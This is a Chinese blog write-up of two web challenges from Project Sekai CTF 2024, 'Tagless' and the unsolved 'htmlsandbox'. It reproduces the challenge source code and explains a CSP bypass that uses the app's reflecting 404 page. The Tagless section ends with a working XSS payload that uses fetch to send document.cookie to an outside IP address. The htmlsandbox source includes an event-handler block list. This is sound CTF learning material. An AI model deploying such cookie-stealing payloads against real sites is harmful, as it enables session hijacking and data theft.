目录

  1. 1. 前言
  2. 2. Targless
  3. 3. htmlsandbox(Unsolved)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

Project Sekai CTF2024复现

2024/8/31 CTF线上赛 XSS
  |     |   总文章阅读量:

前言

xss领域大神啊

你说得对,但今天是哈茨涅米库女士的生日,转发这条消息到五个群,中间忘了,反正会被骂一顿,但今天真的是哈茨涅米库女士的生日

事已至此,先打会pjsk吧(

image-20240831223757429

参考:

https://hackmd.io/@Whale120/HJ_rpvujC?utm_source=preview-mode&utm_medium=rec#WEB

https://siunam321.github.io/ctf/SekaiCTF-2024/Web/Tagless/

https://blog.ankursundara.com/htmlsandbox-writeup/amp/


Targless

app.py

from flask import Flask, render_template, make_response,request
from bot import *
from urllib.parse import urlparse

app = Flask(__name__, static_folder='static')

@app.after_request
def add_security_headers(resp):
    resp.headers['Content-Security-Policy'] = "script-src 'self'; style-src 'self' https://fonts.googleapis.com https://unpkg.com 'unsafe-inline'; font-src https://fonts.gstatic.com;"
    return resp


@app.route('/')
def index():
    return render_template('index.html')

@app.route("/report", methods=["POST"])
def report():
    bot = Bot()
    url = request.form.get('url')
    if url:
        try:
            parsed_url = urlparse(url)
        except Exception:
            return {"error": "Invalid URL."}, 400
        if parsed_url.scheme not in ["http", "https"]:
            return {"error": "Invalid scheme."}, 400
        if parsed_url.hostname not in ["127.0.0.1", "localhost"]:
            return {"error": "Invalid host."}, 401
        
        bot.visit(url)
        bot.close()
        return {"visited":url}, 200
    else:
        return {"error":"URL parameter is missing!"}, 400
    
@app.errorhandler(404)
def page_not_found(error):
    path = request.path
    return f"{path} not found"



if __name__ == '__main__':
    app.run(debug=True)

/report 路由限制了必须是http://127.0.0.1这样的本地ip

设置了csp:

script-src 'self'; style-src 'self' https://fonts.googleapis.com https://unpkg.com 'unsafe-inline'; font-src https://fonts.gstatic.com;

注意到@app.errorhandler(404)这里专门重写了404响应,会完整回显 path

bot.py

from selenium import webdriver
from selenium.webdriver.chrome.options import Options
import time 

class Bot:
    def __init__(self):
        chrome_options = Options()
        chrome_options.add_argument("--headless")  
        chrome_options.add_argument("--disable-gpu")
        chrome_options.add_argument("--no-sandbox") 
        chrome_options.add_argument("--disable-dev-shm-usage")
        chrome_options.add_argument("--disable-extensions") 
        chrome_options.add_argument("--window-size=1920x1080") 
        
        self.driver = webdriver.Chrome(options=chrome_options)

    def visit(self, url):
        self.driver.get("http://127.0.0.1:5000/")
        
        self.driver.add_cookie({
            "name": "flag", 
            "value": "SEKAI{dummy}", 
            "httponly": False  
        }) 
        
        self.driver.get(url)
        time.sleep(1)
        self.driver.refresh()
        print(f"Visited {url}")

    def close(self):
        self.driver.quit()

很正常的chrome浏览器访问,设置了cookie为flag

那么我们的核心就在这个404带出完整 path 上了,明显能打反射型xss,遗憾的是我们并不能直接打<script>window.alert(1)</script>,会被 CSP 拦下来

把 CSP 丢 Google CSP Evaluator 验一下

image-20240831115000100

因为这里是script-src 'self',那么可以尝试这样绕过

<script src="/alert(1)"></script>

image-20240831115722819

控制台报错Uncaught SyntaxError: unterminated regular expression literal,此时就可以算是成功插入了,虽然被这个页面回显的/not found影响到了 script 解析,但是我们可以用/**///注释掉

<script src="/**/alert(1)//"></script>

image-20240831120442492

于是绕过了CSP

既然绕过了CSP,接下来就直接让bot点就完事了,用fetch请求带外

最终payload:

url=http://127.0.0.1:5000/<script src="/**/fetch('http://192.168.175.196:666/'+document.cookie);//"></script>

image-20240831110909718

我再看看其它的文件:

index.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Tagless</title>
    <link href="https://fonts.googleapis.com/css?family=Press+Start+2P" rel="stylesheet">
    <link rel="stylesheet" href="https://unpkg.com/nes.css@2.3.0/css/nes.css" />
    <style>
        
        body, html {
            height: 100%;
            margin: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            background-color: #212529;
            color: #fff;
            font-family: 'Press Start 2P', cursive;
        }
        .container {
            text-align: center;
        }
        .nes-field, .nes-btn {
            margin-top: 20px;
        }
        iframe {
            width: 100%;
            height: 300px;
            border: none;
            margin-top: 20px;
            color: #212529;
            background-color: #FFF; 
            font-family: 'Press Start 2P', cursive;
        }
        .nes-container.is-dark.with-title {
            background-color: #212529; 
        }
    </style>
</head>
<body>

<div class="container">
    <section class="nes-container with-title is-centered is-dark">
        <h2 class="title">Tagless Display</h2>
        <div class="nes-field is-inline">
            <label for="userInput" class="nes-text is-primary">Your Message:</label>
            <input type="text" id="userInput" class="nes-input" placeholder="Hello, Retro World!">
        </div>
        <button id="displayButton" type="button" class="nes-btn is-primary">Display</button>
        <div class="output">
            <iframe id="displayFrame"></iframe>
        </div>
    </section>
</div>

<script src="/static/app.js"></script>


</body>
</html>

作为本地文件,可以用iframe嵌入,而iframe有个特性:所有被执行的 JavaScript 必须是被嵌入的网站本身有的,或者用srcdoc(这个不受 csp 的frame-src影响)

现在来看一下这里唯一的一个 JavaScript 脚本app.js


document.addEventListener("DOMContentLoaded", function() {

    var displayButton = document.getElementById("displayButton");
    
    displayButton.addEventListener("click", function() {
        displayInput();
    });
});

function sanitizeInput(str) {
    str = str.replace(/<.*>/igm, '').replace(/<\.*>/igm, '').replace(/<.*>.*<\/.*>/igm, ''); 
    return str;
}

function autoDisplay() {
    const urlParams = new URLSearchParams(window.location.search);
    const input = urlParams.get('auto_input');
    displayInput(input);
}

function displayInput(input) {
    const urlParams = new URLSearchParams(window.location.search);
    const fulldisplay = urlParams.get('fulldisplay');

    var sanitizedInput = "";
    if (input) {
        sanitizedInput = sanitizeInput(input);
    } else {
        var userInput = document.getElementById("userInput").value;
        sanitizedInput = sanitizeInput(userInput);
    }
    var iframe = document.getElementById("displayFrame");
    var iframeContent = `
        <!DOCTYPE html>
        <head>
            <title>Display</title>
            <link href="https://fonts.googleapis.com/css?family=Press+Start+2P" rel="stylesheet">
            <style>
                body {
                    font-family: 'Press Start 2P', cursive;
                    color: #212529; 
                    padding: 10px; 
                }
            </style>
        </head>
        <body>
            ${sanitizedInput}
        </body>
    `;
    iframe.contentWindow.document.open('text/html', 'replace');
    iframe.contentWindow.document.write(iframeContent);
    iframe.contentWindow.document.close();

    if (fulldisplay && sanitizedInput) {
        var tab = open("/")
        tab.document.write(iframe.contentWindow.document.documentElement.innerHTML);
    }
}

autoDisplay();

sanitizeInput这里过滤了html tag,不过可以用 <img src=1.jpg; 这样的方式来插入一个html标签,虽然只能插入一个

image-20240831105446898

感觉没啥用,随便记一下


htmlsandbox(Unsolved)

server.js

const express = require('express');
const puppeteer = require('puppeteer');
const redis = require('redis');
const crypto = require('node:crypto');
const path = require('node:path');

const EVENTS = ["onsearch","onappinstalled","onbeforeinstallprompt","onbeforexrselect","onabort","onbeforeinput","onbeforematch","onbeforetoggle","onblur","oncancel","oncanplay","oncanplaythrough","onchange","onclick","onclose","oncontentvisibilityautostatechange","oncontextlost","oncontextmenu","oncontextrestored","oncuechange","ondblclick","ondrag","ondragend","ondragenter","ondragleave","ondragover","ondragstart","ondrop","ondurationchange","onemptied","onended","onerror","onfocus","onformdata","oninput","oninvalid","onkeydown","onkeypress","onkeyup","onload","onloadeddata","onloadedmetadata","onloadstart","onmousedown","onmouseenter","onmouseleave","onmousemove","onmouseout","onmouseover","onmouseup","onmousewheel","onpause","onplay","onplaying","onprogress","onratechange","onreset","onresize","onscroll","onsecuritypolicyviolation","onseeked","onseeking","onselect","onslotchange","onstalled","onsubmit","onsuspend","ontimeupdate","ontoggle","onvolumechange","onwaiting","onwebkitanimationend","onwebkitanimationiteration","onwebkitanimationstart","onwebkittransitionend","onwheel","onauxclick","ongotpointercapture","onlostpointercapture","onpointerdown","onpointermove","onpointerrawupdate","onpointerup","onpointercancel","onpointerover","onpointerout","onpointerenter","onpointerleave","onselectstart","onselectionchange","onanimationend","onanimationiteration","onanimationstart","ontransitionrun","ontransitionstart","ontransitionend","ontransitioncancel","onafterprint","onbeforeprint","onbeforeunload","onhashchange","onlanguagechange","onmessage","onmessageerror","onoffline","ononline","onpagehide","onpageshow","onpopstate","onrejectionhandled","onstorage","onunhandledrejection","onunload","onpageswap","onpagereveal","onoverscroll","onscrollend","onscrollsnapchange","onscrollsnapchanging","ontimezonechange"];
const EVENT_SELECTOR = EVENTS.map(e=>`*[${e}]`).join(',');


let client;
let browser;
(async () => {
    browser = await puppeteer.launch({
        headless: true,
        pipe: true,
        //dumpio: true,
        args: [
            '--incognito',
            "--no-sandbox",
            "--disable-setuid-sandbox",
            "--js-flags=--noexpose_wasm,--jitless",
        ]
    });
    console.log('init browser');

    client = await redis.createClient({ url: `redis://default@${process.env.REDIS_HOST}:${process.env.REDIS_PORT}` })
        .on('error', err => console.log('Redis Client Error', err))
        .connect();
    console.log('redis connected');
})()


async function validate(url) {
    let valid = false;
    let context;
    try {
        context = await browser.createBrowserContext();
        const page = await context.newPage();
        page.setDefaultTimeout(2000);

        // no shenanigans!
        await page.setJavaScriptEnabled(false);

        // disallow making any requests
        await page.setRequestInterception(true);
        let reqCount = 0;
        page.on('request', interceptedRequest => {
            reqCount++;
            if (interceptedRequest.isInterceptResolutionHandled()) return;
            if (reqCount > 1) {
                interceptedRequest.abort();
            }
            else
                interceptedRequest.continue();
        });

        console.log(`visiting ${url}...`);
        await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' });
        valid = await page.evaluate((s) => {
            // check CSP tag is at the start
            // check no script tags or frames
            // check no event handlers
            return document.querySelector('head').firstElementChild.outerHTML === `<meta http-equiv="Content-Security-Policy" content="default-src 'none'">`
                && document.querySelector('script, noscript, frame, iframe, object, embed') === null && document.querySelector(s) === null
        }, EVENT_SELECTOR) && reqCount === 1;
    }
    catch (e) {
        console.error(e);
    }
    finally {
        if (context) await context.close();
    }
    return valid;
}

// Setup Express
const app = express();
const port = 3000;

app.use(express.urlencoded({ extended: false }));

app.get('/', (req, res) => {
    res.sendFile(path.join(__dirname, 'index.html'));
})

app.post('/upload', async (req, res) => {
    let html = req.body.html;
    if (!html)
        return res.status(400).send('No html.');
    html = html.trim();
    if (!html.startsWith('<html>'))
        return res.status(400).send('Invalid html.')
    // fast sanity check
    if (!html.includes('<meta http-equiv="Content-Security-Policy" content="default-src \'none\'">'))
        return res.status(400).send('No CSP.');
    html = btoa(html);
    // check again, more strictly...
    if (!await validate('data:text/html;base64,' + html))
        return res.status(400).send('Failed validation.');
    const id = crypto.randomBytes(10).toString('hex');
    await client.set(id, html, { EX: 300 });
    res.send(`<a href="/upload/${id}">File uploaded!</a>`);
});

app.get('/upload/:id', async (req, res) => {
    const id = req.params.id;
    const data = await client.get(id);
    if (!data)
        return res.status(404).send('File not found.');
    const html = Buffer.from(data, 'base64');
    res.end(html);
});

app.listen(port, () => {
    console.log(`Server listening on port ${port}`);
});

adminbot_test.js

// npm i puppeteer
// script to emulate admin bot

const puppeteer = require("puppeteer");

const FLAG = "SEKAI{test_flag}";
const SITE = "https://htmlsandbox.chals.sekai.team";
const target = process.argv[2];


const visit = async (url) => {
    let browser;
    try {
        browser = await puppeteer.launch({
            headless: true,
            pipe: true,
            args: [
                "--no-sandbox",
                "--disable-setuid-sandbox",
                "--js-flags=--noexpose_wasm,--jitless",
            ],
            dumpio: true
        });

        let page = await browser.newPage();
        await page.goto(SITE, { timeout: 3000, waitUntil: 'domcontentloaded' });

        await page.evaluate((flag) => {
            localStorage.setItem("flag", flag);
        }, FLAG);

        await page.close();
        page = await browser.newPage();

        await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' })
        await new Promise((res)=>setTimeout(res, 3000));

        await browser.close();
        browser = null;
    } catch (err) {
        console.log(err);
    } finally {
        if (browser) await browser.close();
    }
};


if (target.startsWith('https://') || target.startsWith("http://")) {
    visit(target);
}

过滤有点爆炸了,歇一会再看(

貌似是字符集绕过